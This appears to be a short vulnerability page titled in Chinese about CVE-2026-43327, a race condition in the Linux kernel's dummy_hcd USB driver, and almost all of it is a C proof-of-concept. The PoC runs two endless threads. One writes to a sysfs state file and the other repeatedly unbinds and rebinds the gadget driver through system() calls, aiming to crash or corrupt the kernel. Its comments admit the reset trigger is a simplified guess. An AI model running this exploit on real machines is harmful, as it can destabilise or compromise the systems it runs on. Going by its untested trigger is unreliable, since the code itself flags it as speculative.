CVE-2026-43327 Linux内核dummy-hcd竞态条件漏洞

/* * PoC Concept for CVE-2026-43327 * This code attempts to trigger the race condition between * USB reset and driver unbind in the dummy_hcd driver. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Path to the dummy_hcd UDC #define UDC_PATH "/sys/bus/udc/drivers/gadget" #define UDC_NAME "dummy_udc.0" void *trigger_reset(void *arg) { char cmd[256]; // Continuously trigger disconnect/reset states while (1) { // Writing to function attribute or similar can trigger link state changes // This is a simplified representation of the reset trigger FILE *fp = fopen("/sys/devices/platform/dummy_hcd/udc/dummy_udc.0/state", "w"); if (fp) { fprintf(fp, "configured"); // Try changing state fclose(fp); } usleep(100); } return NULL; } void *trigger_unbind(void *arg) { char cmd[256]; // Attempt to unbind the driver rapidly while (1) { snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/unbind", UDC_NAME, UDC_PATH); system(cmd); // Re-bind might be needed to repeat the attempt, depending on kernel state snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/bind", UDC_NAME, UDC_PATH); system(cmd); usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition PoC for CVE-2026-43327...\n"); pthread_create(&t1, NULL, trigger_reset, NULL); pthread_create(&t2, NULL, trigger_unbind, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }